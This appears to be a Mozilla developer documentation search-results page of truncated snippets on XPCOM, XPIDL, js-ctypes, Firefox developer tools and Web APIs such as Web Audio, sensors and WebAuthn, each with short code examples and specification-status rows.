rms] represents the compiler abi and may be either: msvc - microsoft visual c++ n32 - irix 6 c++ compiler gcc2 - gnu c++ compiler 2.x gcc3 - gnu c++ compiler 3.x or 4.x sunc - sun c++ compiler ibmc - ibm c++ compiler for example: firefox built with the gnu c++ compiler 4.0.0 for the intel pentium processor would have xpcom abi of x86-gcc3 the xpcom abi string can be retrieved programmatically by using the nsixulruntime interface.
... a common point of compatibility check is during the installation of extensions.
wrappedJSObject
more specifically, as xpconnect source comments say, you can get comp.wrappedjsobject if three conditions are met: comp really is an xpconnect wrapper around a js object.
... nsixpcsecuritymanager allows access (see the source code comments for details; this is usually not an issue for mozilla extensions and applications) this means that in order to access the js object implementing our component directly, we must modify the component.
XPCOM
here is how to make the same component in python using pyxpcom.fun with xbl and xpconnectgenerating guidsguids are used in mozilla programming for identifying several types of entities, including xpcom interfaces (this type of guids is callled iid), components (cid), and legacy add-ons—like extensions and themes—that were created prior to firefox 1.5.
... join the xpcom community choose your preferred method for joining the discussion: mailing list newsgroup rss feed irc: #developers (learn more)tools: javascript component wizard, visual c++ component wizard, visual c++ component wizard for visual studio 2010, xpcomviewer addon: browse xpcom interfaces easily ...
xpidl
MozillaTechXPIDLxpidl
it generates: c++ header files (.h), with a commented template for full c++ implementation of the interface xpconnect typelib files (.xpt), with runtime type information to dynamically call xpcom objects through xpconnect note: starting in gecko 9.0, xpidl has been replaced with pyxpidl in the gecko sdk.
...for testing purposes, or one-off interface compilation, xpidl can be run from the command line: usage: ./xpidl -m mode [-w] [-v] [-t version number] [-d filename.pp] [-i path] [-o basename | -e filename.ext] filename.idl -a emit annotations to typelib -w turn on warnings (recommended) -v verbose mode (nyi) -t create a typelib of a specific version number -i add entry to start of include path for ``#include "nsithing.idl" -o use b...
XPIDL
however, it is generally not recommended to have a chain of interfaces inheriting from each other if you intend to have a chain of implementations for each interface, as it can cause problems in c++ code.
... common changes to an interface, such as changes to a method signature, number of arguments, and number or type of attributes, automatically require an iid change.
XUL Overlays
MozillaTechXULOverlays
the overlay mechanism allows you to merge elements into existing subtrees, but it also allows you to store common ui elements in overlay files and merge them into any base files that use them.
...for example, the buttons that appear at the bottom of common dialogs, the ok and cancel buttons, may be used in dozens of places in the ui.
The Valgrind Test Job
the valgrind test job builds the browser and runs it under valgrind, which can detect various common memory-related errors.
... ac_add_options --enable-valgrind ac_add_options --disable-jemalloc running to run the valgrind test job locally, run the following command.
Testing Mozilla code
before you can even get your code committed into the source tree, you have to test it, and larger patches have to have automated tests.
...this type of coverage is only concerned with hit counts for lines and branches.the valgrind test jobthe valgrind test job builds the browser and runs it under valgrind, which can detect various common memory-related errors.
Address book sync client design
since the communication was successful, // clear the ret (retry) flag on all records.
... * acookie - hmmm...cooookies!
Cached compose window FAQ
but we noticed that the common usage pattern is to compose, send, compose, send, compose send.
... but this is not a common usage model.
Creating a gloda message query
this content covers features introduced in thunderbird 3 this page describes how to programmatically create a message query using gloda, thunderbird's global database.
...you can find the file, which includes doxygen markup of sorts, here: https://hg.mozilla.org/comm-central/file/tip/mailnews/db/gloda/modules/gloda.js components.utils.import("resource:///modules/gloda/public.js"); create the query let query = gloda.newquery(gloda.noun_message); add constraints to the query each constraint function takes one or more arguments which are "or"ed together.
nsIMsgCloudFileProvider
this should probably be called immediately after instantiation.
... createexistingaccount() for an init'ed nsimsgcloudfileprovider, attempts to communicate with the service provider in order to get the proper credentials for starting uploads.
MailNews Protocols
most commands/operations go through the folder object.
...a protocol object that takes a url and handles the network communications with the actual server required to run that url.
Mail client architecture overview
datasources are also used to run commands that operate on this mail data.
... msgdb - a message database for a given folder is a summary of some of the key attributes in a folder such as the author and subject.
Standard OS Libraries
the most common, found on all windows os version, is "winapi".
... winapi this is the one that is most commonly used by js-ctypes.
ctypes.open
this must be called before any work can commence.
... int add(int a, int b) { return a + b; } to make this a shared library, a native file which can be loaded and used from js-ctypes, compile it with these commands: gcc -fpic -c mycfuntionsforunix.c gcc -shared -o mycfuntionsforunix.so mycfuntionsforunix.o a file named mycfuntionsforunix.so is successfully created.
ctypes
so we look up on msdn what the tb_button structures is (msdn :: tb_button structure) and it says it is: typedef struct { int ibitmap; int idcommand; byte fsstate; byte fsstyle; #ifdef _win64 byte breserved[6]; #else #if defined(_win32) byte breserved[2]; #endif #endif dword_ptr dwdata; int_ptr istring; } tbbutton, *ptbbutton, *lptbbutton; so now notice that if it's 64-bit process it's different than if it's 32-bit process.
...this is what the final looks like: var struct_tbbutton; if (ctypes.voidptr_t.size == 4 /* 32-bit */) { struct_tbbutton = ctypes.structtype('tbbutton', [ {'ibitmap': ctypes.int}, {'idcommand': ctypes.int}, {'fbstate': ctypes.unsigned_char}, {'fsstyle': ctypes.unsigned_char}, {'breserved': ctypes.unsigned_char}, {'breserved2': ctypes.unsigned_char}, {'dwdata': ctypes.uintptr_t}, {'istring': ctypes.intptr_t} ]); } else if (ctypes.voidptr_t.size == 8 /* 64-bit */) { struct_tbbutton = ctypes.structtype('tbbutton', [ {'ibitmap': ctypes.int}, {'idcommand': ctypes.int}, {'fbstate': ctypes.unsigned_char}, {'fsstyle': ctypes.unsigned_char}, {'breserved': ctypes.unsigned_char},...
js-ctypes reference
the ctypes object also provides numerous predefined types that correspond to primitives and common typedefs in c.
...first, they provide a concrete representation of different data types, allowing the programmer to describe the arguments and return type of a native function (see library.declare()).
Constants - Plugins
nperr_incompatible_version_error 8 versions of plug-in and communicator do not match.
... result codes constant value description npres_done 0 (most common): completed normally; all data was sent to the instance.
Drawing and Event Handling - Plugins
typically, the browser calls npp_setwindow after creating the instance so that the plug-in can begin drawing immediately.
...the plug-in can use this to deal with wm_command messages sent to it as a result of tracking the pop-up menu or modal dialog box.
Accessibility Inspector - Firefox Developer Tools
s, which are detailed below: context menu options an extra context menu option is added, both for the general context menu on the web page when right/ctrl + clicking a ui feature, and the html pane of the page inspector when right/ctrl + clicking a dom element: when you choose the inspect accessibility properties/show accessibility properties context menu options, the accessibility tab is immediately opened to show the corresponding accessibility tree item and its properties.
...see color contrast for details about recommended contrast ratios.
DOM Inspector FAQ - Firefox Developer Tools
instead, get the xul document to load as you normally would (e.g., by invoking commands or opening windows via standard application use), then locate it in the inspect chrome document menu.
... original document information author(s): christopher aillon last updated date: november 11, 2003 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Search - Firefox Developer Tools
searching for files to search for a particular file, press control + p (or command + p on a mac) and type the search term.
...you can use the up and down arrows to move through the list, and return to open the file you want: searching within a file to search for a particular substring in the file currently loaded into the source pane, press control + f (or command + f on a mac) while the source pane is focused.
Debugger keyboard shortcuts - Firefox Developer Tools
command windows macos linux close current file ctrl + w cmd + w ctrl + w search for a string in the current file ctrl + f cmd + f ctrl + f search for a string in all files ctrl + shift + f cmd + shift + f ctrl + shift + f find next in the current file ctrl + g cmd + g ctrl + g search for scripts by name ctrl + p cmd + p ctrl + p resume execution when at a breakpoint f8 f8 1 f8 step over f10 f10 1 f10 step into f11 f11 1 f11 step out shift + f11 shift + f11 1 shift + f11 toggle breakpoint on the currently selected line ctrl + b cmd + b ctrl + b toggle conditional breakpoint on the current...
... command windows macos linux increase font size ctrl + + cmd + + ctrl + + decrease font size ctrl + - cmd + - ctrl + - reset font size ctrl + 0 cmd + 0 ctrl + 0 ...
Source map errors - Firefox Developer Tools
this page explains the most common problems and how to fix them.
... there are a few common ways that source maps can go wrong; they are detailed in the following sections.
Debugger.Source - Firefox Developer Tools
(on the web, the translator may provide the source map url in a specially formatted comment in the javascript source code, or via a header in the http reply that carried the generated javascript.) this property is writable, so you can change the source map url by setting it.
... displayurl if the script had a special //# sourceurl comment, as described in the source maps specification, then this property’s value holds the string that was given.
Deprecated tools - Firefox Developer Tools
when we deprecate a panel, we begin by getting feedback from the community to determine the impact of removing that panel.
... the results are displayed in the console output, to the right of the input, providing immediate feedback.
Dominators view - Firefox Developer Tools
immediately underneath that is an entry for: every gc root node.
... immediately under each gc root, you'll see all the nodes for which this root is the immediate dominator.
Page inspector 3-pane mode - Firefox Developer Tools
feature summary from firefox 62 onwards, the page inspector has a new mode available — 3-pane mode.
...for example, you could edit a css grid property and observe the change immediately in the grid inspector.
CSS Grid Inspector: Examine grid layouts - Firefox Developer Tools
note: the examples shown in the screenshots appearing in this article are jen simmons' futurismo and variations on a grid experiments, and a live named grid area example from rachel andrew.
... a target icon that when clicked immediately selects the html element that this grid entry relates to, inside the html pane.
Waterfall - Firefox Developer Tools
but there are common patterns which can alert you to possible performance problems.
...it's commonly accepted that 60 frames per second is the rate at which animations will appear smooth.
Rulers - Firefox Developer Tools
behavior to keep in mind when using rulers: the rulers command must be reapplied in new tabs and after each page refresh.
... the command isn't permanent.
Toolbox - Firefox Developer Tools
command windows macos linux cycle through tools left to right ctrl + ] cmd + ] ctrl + ] cycle through tools right to left ctrl + [ cmd + [ ctrl + [ toggle between active tool and settings.
... command windows macos linux increase font size ctrl + + cmd + + ctrl + + decrease font size ctrl + - cmd + - ctrl + - reset font size ctrl + 0 cmd + 0 ctrl + 0 ...
View Source - Firefox Developer Tools
to activate view source: context-click in the page and select view page source press ctrl + u on windows and linux, or cmd + u on macos the command opens a new tab with the source for the current page.
... tree builder errors relating to text (as opposed to tags, comments, or doctypes) aren't reported.
Split console - Firefox Developer Tools
while you're in another tool in the toolbox, just press esc or select the "show split console" command in the toolbar menu.
... you can close the split console by pressing esc again, or by selecting the "hide split console" menu command.
Web Console - Firefox Developer Tools
helper commands commands you can use that are not part of javascript.
... opening the web console you open the web console from a menu or with a keyboard shortcut: choose web console from the web developer submenu in the firefox menu (or tools menu if you display the menu bar or are on mac os x) press the ctrl+shift+k (command+option+k on os x) keyboard shortcut.
ANGLE_instanced_arrays.drawArraysInstancedANGLE() - Web APIs
examples var ext = gl.getextension('angle_instanced_arrays'); ext.drawarraysinstancedangle(gl.points, 0, 8, 4); specifications specification status comment angle_instanced_arraysthe definition of 'angle_instanced_arrays' in that specification.
... recommendation initial definition.
ANGLE_instanced_arrays.drawElementsInstancedANGLE() - Web APIs
examples var ext = gl.getextension('angle_instanced_arrays'); ext.drawelementsinstancedangle(gl.points, 2, gl.unsigned_short, 0, 4); specifications specification status comment angle_instanced_arraysthe definition of 'angle_instanced_arrays' in that specification.
... recommendation initial definition.
ANGLE_instanced_arrays.vertexAttribDivisorANGLE() - Web APIs
examples var ext = gl.getextension('angle_instanced_arrays'); ext.vertexattribdivisorangle(0, 2); specifications specification status comment angle_instanced_arraysthe definition of 'angle_instanced_arrays' in that specification.
... recommendation initial definition.
ANGLE_instanced_arrays - Web APIs
examples enabling the extension: var ext = gl.getextension('angle_instanced_arrays'); specifications specification status comment angle_instanced_arraysthe definition of 'angle_instanced_arrays' in that specification.
... recommendation initial definition.
AbortController.signal - Web APIs
the signal read-only property of the abortcontroller interface returns an abortsignal object instance, which can be used to communicate with/abort a dom request as desired.
... specifications specification status comment domthe definition of 'signal' in that specification.
AbortSignal.aborted - Web APIs
the aborted read-only property returns a boolean that indicates whether the dom request(s) the signal is communicating with is/are aborted (true) or not (false).
...console.log('request has been aborted') : console.log('request not aborted'); specifications specification status comment domthe definition of 'onabort' in that specification.
AbortSignal.onabort - Web APIs
when the fetch request(s) the signal is communicating with is/are aborted.
... var controller = new abortcontroller(); var signal = controller.signal; signal.onabort = function() { console.log('request aborted'); }; specifications specification status comment domthe definition of 'onabort' in that specification.
AbsoluteOrientationSensor - Web APIs
specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
... candidate recommendation ...
AbsoluteOrientationSensor - Web APIs
} else { console.log("no permissions to use absoluteorientationsensor."); } }); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
... candidate recommendation ...
AbstractRange - Web APIs
the resulting document fragment looks like this: notice especially that the contents of this fragment are all below the shared common parent of the topmost nodes within it.
... the result looks like this: specifications specification status comment domthe definition of 'abstractrange' in that specification.
AbstractWorker - Web APIs
the abstractworker interface of the web workers api is an abstract interface that defines properties and methods that are common to all types of worker, including not only the basic worker, but also serviceworker and sharedworker.
... specifications specification status comment html living standardthe definition of 'abstractworker' in that specification.
Accelerometer.Accelerometer() - Web APIs
specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
... candidate recommendation ...
Accelerometer.x - Web APIs
WebAPIAccelerometerx
let accelerometer = new accelerometer({frequency: 60}); accelerometer.addeventlistener('reading', e => { console.log("acceleration along the x-axis " + accelerometer.x); console.log("acceleration along the y-axis " + accelerometer.y); console.log("acceleration along the z-axis " + accelerometer.z); }); accelerometer.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
... candidate recommendation ...
Accelerometer.y - Web APIs
WebAPIAccelerometery
let accelerometer = new accelerometer({frequency: 60}); accelerometer.addeventlistener('reading', e => { console.log("acceleration along the x-axis " + accelerometer.x); console.log("acceleration along the y-axis " + accelerometer.y); console.log("acceleration along the z-axis " + accelerometer.z); }); accelerometer.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
... candidate recommendation ...
Accelerometer.z - Web APIs
WebAPIAccelerometerz
let accelerometer = new accelerometer({frequency: 60}); accelerometer.addeventlistener('reading', e => { console.log("acceleration along the x-axis " + accelerometer.x); console.log("acceleration along the y-axis " + accelerometer.y); console.log("acceleration along the z-axis " + accelerometer.z); }); accelerometer.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
... candidate recommendation ...
Accelerometer - Web APIs
let acl = new accelerometer({frequency: 60}); acl.addeventlistener('reading', () => { console.log("acceleration along the x-axis " + acl.x); console.log("acceleration along the y-axis " + acl.y); console.log("acceleration along the z-axis " + acl.z); }); acl.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
... candidate recommendation ...
AddressErrors.addressLine - Web APIs
specifications specification status comment payment request apithe definition of 'addresserrors.addressline' in that specification.
... candidate recommendation initial definition.
AddressErrors.city - Web APIs
specifications specification status comment payment request apithe definition of 'addresserrors.city' in that specification.
... candidate recommendation initial definition.
AddressErrors.country - Web APIs
specifications specification status comment payment request apithe definition of 'addresserrors.country' in that specification.
... candidate recommendation initial definition.
AddressErrors.dependentLocality - Web APIs
specifications specification status comment payment request apithe definition of 'addresserrors.dependentlocality' in that specification.
... candidate recommendation initial definition.
AddressErrors.languageCode - Web APIs
specifications specification status comment payment request apithe definition of 'addresserrors.languagecode' in that specification.
... candidate recommendation initial definition.
AddressErrors.phone - Web APIs
specifications specification status comment payment request apithe definition of 'addresserrors.phone' in that specification.
... candidate recommendation initial definition.
AddressErrors.postalCode - Web APIs
specifications specification status comment payment request apithe definition of 'addresserrors.postalcode' in that specification.
... candidate recommendation initial definition.
AddressErrors.recipient - Web APIs
specifications specification status comment payment request apithe definition of 'addresserrors.recipient' in that specification.
... candidate recommendation initial definition.
AddressErrors.region - Web APIs
specifications specification status comment payment request apithe definition of 'addresserrors.region' in that specification.
... candidate recommendation initial definition.
AddressErrors.regionCode - Web APIs
specifications specification status comment payment request apithe definition of 'addresserrors.regioncode' in that specification.
... candidate recommendation initial definition.
AddressErrors.sortingCode - Web APIs
specifications specification status comment payment request apithe definition of 'addresserrors.sortingcode' in that specification.
... candidate recommendation initial definition.
AddressErrors - Web APIs
specifications specification status comment payment request apithe definition of 'addresserrors' in that specification.
... candidate recommendation initial definition.
AesCbcParams - Web APIs
specifications specification status comment web cryptography apithe definition of 'subtlecrypto.aescbcparams' in that specification.
... recommendation ...
AesCtrParams - Web APIs
specifications specification status comment web cryptography apithe definition of 'subtlecrypto.aesctrparams' in that specification.
... recommendation ...
AesKeyGenParams - Web APIs
specifications specification status comment web cryptography apithe definition of 'subtlecrypto.aeskeygenparams' in that specification.
... recommendation ...
AmbientLightSensor.AmbientLightSensor() - Web APIs
specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
... candidate recommendation ...
AmbientLightSensor.illuminance - Web APIs
example if ( 'ambientlightsensor' in window ) { const sensor = new ambientlightsensor(); sensor.onreading = () => { console.log('current light level:', sensor.illuminance); }; sensor.onerror = (event) => { console.log(event.error.name, event.error.message); }; sensor.start(); } specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
... candidate recommendation ...
AmbientLightSensor - Web APIs
example if ( 'ambientlightsensor' in window ) { const sensor = new ambientlightsensor(); sensor.onreading = () => { console.log('current light level:', sensor.illuminance); }; sensor.onerror = (event) => { console.log(event.error.name, event.error.message); }; sensor.start(); } specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
... candidate recommendation ...
Ambient Light Events - Web APIs
unction(event) { var body = document.queryselector('body'); if (event.value < 50) { body.classlist.add('darklight'); body.classlist.remove('brightlight'); } else { body.classlist.add('brightlight'); body.classlist.remove('darklight'); } }); } else { console.log('devicelight event not supported'); } specifications specification status comment ambient light sensorthe definition of 'ambient light events' in that specification.
... candidate recommendation initial definition ...
Animation.onfinish - Web APIs
the finish event occurs when the animation completes naturally, as well as when the animation.finish() method is called to immediately cause the animation to finish up.
...hide(endingui); // when the credits are later faded in, // we re-add the pointer events when they're done bringui.onfinish = function() { endingui.style.pointerevents = 'auto'; }; specifications specification status comment web animationsthe definition of 'animation.onfinish' in that specification.
Animation.onremove - Web APIs
examples in our simple replace indefinite animations demo, you can see the following code: const divelem = document.queryselector('div'); document.body.addeventlistener('mousemove', evt => { let anim = divelem.animate( { transform: `translate(${ evt.clientx}px, ${evt.clienty}px)` }, { duration: 500, fill: 'forwards' } ); anim.commitstyles(); //anim.persist() anim.onremove = function() { console.log('animation removed'); } console.log(anim.replacestate); }); here we have a <div> element, and an event listener that fires the event handler code whenever the mouse moves.
... specifications specification status comment web animationsthe definition of 'animation.onremove' in that specification.
Animation.playState - Web APIs
so they must be paused as soon as they are animated like so: // setting up the tear animations tears.foreach(function(el) { el.animate( tearsfalling, { delay: getrandommsrange(-1000, 1000), // randomized for each tear duration: getrandommsrange(2000, 6000), // randomized for each tear iterations: infinity, easing: 'cubic-bezier(0.6, 0.04, 0.98, 0.335)' }); el.pause(); }); // play the tears falling when the ending needs to be shown.
... tears.foreach(function(el) { el.pause(); el.currenttime = 0; }); specifications specification status comment web animationsthe definition of 'playstate' in that specification.
Animation.updatePlaybackRate() - Web APIs
after calling updateplaybackrate() the animation's playbackrate is not immediately updated.
... examples a speed selector component would benefit from smooth updating of updateplaybackrate(), as demonstrated below: speedselector.addeventlistener('input', evt => { cartoon.updateplaybackrate(parsefloat(evt.target.value)); cartoon.ready.then(() => { console.log(`playback rate set to ${cartoon.playbackrate}`); }); }); specifications specification status comment web animationsthe definition of 'updateplaybackrate()' in that specification.
AnimationEffect.getComputedTiming() - Web APIs
although many of the attributes of the returned object are common to the effecttiming contained in the object returned by the animationeffect.gettiming() method, the values returned by this object differ in the following ways: duration returns the calculated value of the iteration duration.
... specifications specification status comment web animationsthe definition of 'animationeffect.getcomputedtiming()' in that specification.
AnimationEvent.pseudoElement - Web APIs
summary the animationevent.pseudoelement read-only property is a domstring, starting with '::', containing the name of the pseudo-element the animation runs on.
... syntax name = animationevent.pseudoelement specifications specification status comment css animationsthe definition of 'animationevent.pseudoelement' in that specification.
ArrayBufferView - Web APIs
specifications specification status comment web idlthe definition of 'arraybufferview' in that specification.
... candidate recommendation initial definition.
AudioBuffer.getChannelData() - Web APIs
the comments should clearly explain what is going on.
...use when we want to play an audiobuffer var source = audioctx.createbuffersource(); // set the buffer in the audiobuffersourcenode source.buffer = myarraybuffer; // connect the audiobuffersourcenode to the // destination so we can hear the sound source.connect(audioctx.destination); // start the source playing source.start(); } specification specification status comment web audio apithe definition of 'getchanneldata' in that specification.
AudioBufferSourceNode.start() - Web APIs
the start() method of the audiobuffersourcenode interface is used to schedule playback of the audio data contained in the buffer, or to begin playback immediately.
... specifications specification status comment web audio apithe definition of 'start()' in that specification.
AudioContext - Web APIs
it's recommended to create one audiocontext and reuse it instead of initializing a new one each time, and it's ok to use a single audiocontext for several different audio source and pipeline concurrently.
... specifications specification status comment web audio apithe definition of 'audiocontext' in that specification.
AudioContextOptions.sampleRate - Web APIs
this value should typically be between 8,000 hz and 96,000 hz; the default will vary depending on the output device, but the sample rate 44,100 hz is the most common.
... specifications specification status comment web audio apithe definition of 'audiocontextoptions.samplerate' in that specification.
AudioNode.channelInterpretation - Web APIs
the central channel (c) is summed with each lateral surround channel (sl or sr) and mixed to each lateral channel.
... example var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); var oscillator = audioctx.createoscillator(); var gainnode = audioctx.creategain(); oscillator.connect(gainnode); gainnode.connect(audioctx.destination); oscillator.channelinterpretation = 'discrete'; specifications specification status comment web audio apithe definition of 'channelinterpretation' in that specification.
AudioNode - Web APIs
WebAPIAudioNode
for example, a volume control (gainnode) should be the last node so that volume changes take immediate effect.
...dio api landing page (for example violent theremin.) const audioctx = new audiocontext(); const oscillator = new oscillatornode(audioctx); const gainnode = new gainnode(audioctx); oscillator.connect(gainnode).connect(audioctx.destination); oscillator.context; oscillator.numberofinputs; oscillator.numberofoutputs; oscillator.channelcount; specifications specification status comment web audio apithe definition of 'audionode' in that specification.
AudioParam.setTargetAtTime() - Web APIs
if it is less than or equal to audiocontext.currenttime, the parameter will start changing immediately.
...onnect(gainnode); gainnode.connect(audioctx.destination); // set buttons to do something onclick attimeplus.onclick = function() { currgain = 1.0; gainnode.gain.settargetattime(1.0, audioctx.currenttime + 1, 0.5); } attimeminus.onclick = function() { currgain = 0; gainnode.gain.settargetattime(0, audioctx.currenttime + 1, 0.5); } specifications specification status comment web audio apithe definition of 'settargetattime' in that specification.
AudioScheduledSourceNode - Web APIs
if no time is specified, the node begins playing immediately.
... specification specification status comment web audio apithe definition of 'audioscheduledsourcenode' in that specification.
AudioTrack.id - Web APIs
WebAPIAudioTrackid
specifications specification status comment html living standardthe definition of 'audiotrack.id' in that specification.
... recommendation ...
AudioTrack.language - Web APIs
ion getavailablelanguages(el) { var tracklist = []; const wantedkinds = [ "main", "translation" ]; el.audiotracks.foreach(function(track) { if (wantedkinds.includes(track.kind)) { tracklist.push({ id: track.id, kind: track.kind, language: track.language }); } }); return tracklist; } specifications specification status comment html living standardthe definition of 'audiotrack.language' in that specification.
... recommendation ...
AudioTrack.sourceBuffer - Web APIs
specifications specification status comment media source extensionsthe definition of 'audiotrack: sourcebuffer' in that specification.
... recommendation ...
AudioTrackList.getTrackById() - Web APIs
specifications specification status comment html living standardthe definition of 'audiotracklist.gettrackbyid()' in that specification.
... recommendation ...
AudioTrackList.length - Web APIs
specifications specification status comment html living standardthe definition of 'audiotracklist.length' in that specification.
... recommendation ...
AudioTrackList.onaddtrack - Web APIs
document.queryselector("video").audiotracks.onaddtrack = function(event) { addtotracklist(event.track); }; specifications specification status comment html living standardthe definition of 'audiotracklist.onaddtrack' in that specification.
... recommendation ...
AudioTrackList.onchange - Web APIs
specifications specification status comment html living standardthe definition of 'audiotracklist.onchange' in that specification.
... recommendation ...
AudioTrackList.onremovetrack - Web APIs
specifications specification status comment html living standardthe definition of 'audiotracklist.onremovetrack' in that specification.
... recommendation ...
AudioTrackList - Web APIs
audiotracks.onaddtrack = updatetrackcount; audiotracks.onremovetrack = updatetrackcount; function updatetrackcount(event) { trackcount = audiotracks.length; drawtrackcountindicator(trackcount); } specifications specification status comment html living standardthe definition of 'audiotracklist' in that specification.
... recommendation ...
AudioWorkletProcessor.process - Web APIs
the 3 most common types of audio node are: a source of output.
...rbage-collected // if we don't have any references to it in the main thread return true } // define the customgain parameter used in process method static get parameterdescriptors () { return [{ name: 'customgain', defaultvalue: 1, minvalue: 0, maxvalue: 1, automationrate: 'a-rate' }] } } specifications specification status comment web audio apithe definition of 'process()' in that specification.
AudioWorkletProcessor - Web APIs
properties port read only returns a messageport used for bidirectional communication between the processor and the audioworkletnode which it belongs to.
... const audiocontext = new audiocontext() await audiocontext.audioworklet.addmodule('white-noise-processor.js') const whitenoisenode = new audioworkletnode(audiocontext, 'white-noise-processor') whitenoisenode.connect(audiocontext.destination) specifications specification status comment web audio apithe definition of 'audioworkletprocessor' in that specification.
AuthenticatorAssertionResponse.signature - Web APIs
g party server timeout: 60000 }; navigator.credentials.get({ publickey: options }) .then(function (assertionpkcred) { var signature = assertionpkcred.response.signature; // send response and client extensions to the server so that it can // go on with the authentication }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'signature' in that specification.
... recommendation initial definition.
AuthenticatorAssertionResponse.userHandle - Web APIs
party server timeout: 60000 }; navigator.credentials.get({ publickey: options }) .then(function (assertionpkcred) { var userhandle = assertionpkcred.response.userhandle; // send response and client extensions to the server so that it can // go on with the authentication }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'userhandle' in that specification.
... recommendation initial definition.
AuthenticatorAssertionResponse - Web APIs
t({ "publickey": options }) .then(function (credentialinfoassertion) { var assertionresponse = credentialinfoassertion.response; // do something specific with the response // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'authenticatorassertionresponse interface' in that specification.
... recommendation initial definition.
AuthenticatorAttestationResponse.attestationObject - Web APIs
entials.create({ publickey }) .then(function (newcredentialinfo) { var attestationobj = newcredentialinfo.response.attestationobject; // this will be a cbor encoded arraybuffer // do something with the response // (sending it back to the relying party server maybe?) }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'attestationobject' in that specification.
... recommendation initial definition.
AuthenticatorAttestationResponse - Web APIs
{ type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var response = newcredentialinfo.response; // do something with the response // (sending it back to the relying party server maybe?) }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'authenticatorattestationresponse interface' in that specification.
... recommendation initial definition.
AuthenticatorResponse - Web APIs
name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var attestationresponse = newcredentialinfo.response; }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'authenticatorresponse interface' in that specification.
... recommendation initial definition.
BaseAudioContext.createBiquadFilter() - Web APIs
the createbiquadfilter() method of the baseaudiocontext interface creates a biquadfilternode, which represents a second order filter configurable as several different common filter types.
...ct(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.setvalueattime(1000, audioctx.currenttime); biquadfilter.gain.setvalueattime(25, audioctx.currenttime); specifications specification status comment web audio apithe definition of 'createbiquadfilter()' in that specification.
BaseAudioContext.createBufferSource() - Web APIs
the comments should clearly explain what is going on.
...se when we want to play an audiobuffer var source = audioctx.createbuffersource(); // set the buffer in the audiobuffersourcenode source.buffer = myarraybuffer; // connect the audiobuffersourcenode to the // destination so we can hear the sound source.connect(audioctx.destination); // start the source playing source.start(); } specifications specification status comment web audio apithe definition of 'createbuffersource()' in that specification.
BaseAudioContext.createConvolver() - Web APIs
the createconvolver() method of the baseaudiocontext interface creates a convolvernode, which is commonly used to apply reverb effects to your audio.
... convolver.buffer = concerthallbuffer; specifications specification status comment web audio apithe definition of 'createconvolver()' in that specification.
BaseAudioContext.createDelay() - Web APIs
if you just press the play buttons, the loops will start immediately; if you slide the sliders up to the right, then press the play buttons, a delay will be introduced, so the looping sounds don't start playing for a short amount of time.
... var delay1; rangesynth.oninput = function() { delay1 = rangesynth.value; synthdelay.delaytime.setvalueattime(delay1, audioctx.currenttime); } specifications specification status comment web audio apithe definition of 'createdelay()' in that specification.
BaseAudioContext.createScriptProcessor() - Web APIs
it is recommended for authors to not specify this buffer size and allow the implementation to pick a good buffer size to balance between latency and audio quality.
...etdata(); // wire up play button playbutton.onclick = function() { source.connect(scriptnode); scriptnode.connect(audioctx.destination); source.start(); } // when the buffer source stops playing, disconnect everything source.onended = function() { source.disconnect(scriptnode); scriptnode.disconnect(audioctx.destination); } specifications specification status comment web audio apithe definition of 'createscriptprocessor' in that specification.
BaseAudioContext.createWaveShaper() - Web APIs
note: sigmoid functions are commonly used for distortion curves because of their natural properties.
... distortion.curve = makedistortioncurve(400); distortion.oversample = '4x'; specifications specification status comment web audio apithe definition of 'createwaveshaper()' in that specification.
Blob - Web APIs
WebAPIBlob
the blob object represents a blob, which is a file-like object of immutable, raw data; they can be read as text or binary data, or converted into a readablestream so its methods can be used for processing the data.
... specifications specification status comment file apithe definition of 'the blob interface' in that specification.
BroadcastChannel - Web APIs
it allows communication between different documents (in different windows, tabs, frames or iframes) of the same origin.
... specifications specification status comment html living standardthe definition of 'broadcastchannel' in that specification.
BufferSource - Web APIs
specifications specification status comment web idlthe definition of 'buffersource' in that specification.
... candidate recommendation initial definition.
ByteString - Web APIs
specifications specification status comment web idlthe definition of 'bytestring' in that specification.
... candidate recommendation initial definition.
CSS numeric factory functions - Web APIs
syntax css.number(number); css.percent(number); // <length> css.em(number); css.ex(number); css.ch(number); css.ic(number); css.rem(number); css.lh(number); css.rlh(number); css.vw(number); css.vh(number); css.vi(number); css.vb(number); css.vmin(number); css.vmax(number); css.cm(number); css.mm(number); css.q(number); css.in(number); css.pt(number); css.pc(number); css.px(number); // <angle> css.deg(number); css.grad(number); css.rad(number); css.turn(number); // <time> css.s(number); css.ms(number); // <frequency> css.hz(number); css.khz(number); // <resolution> css.dpi(number); css.dpcm(number); css.dppx(number); // <flex> css.fr(number); examples we use the css.vmax() numeric ...
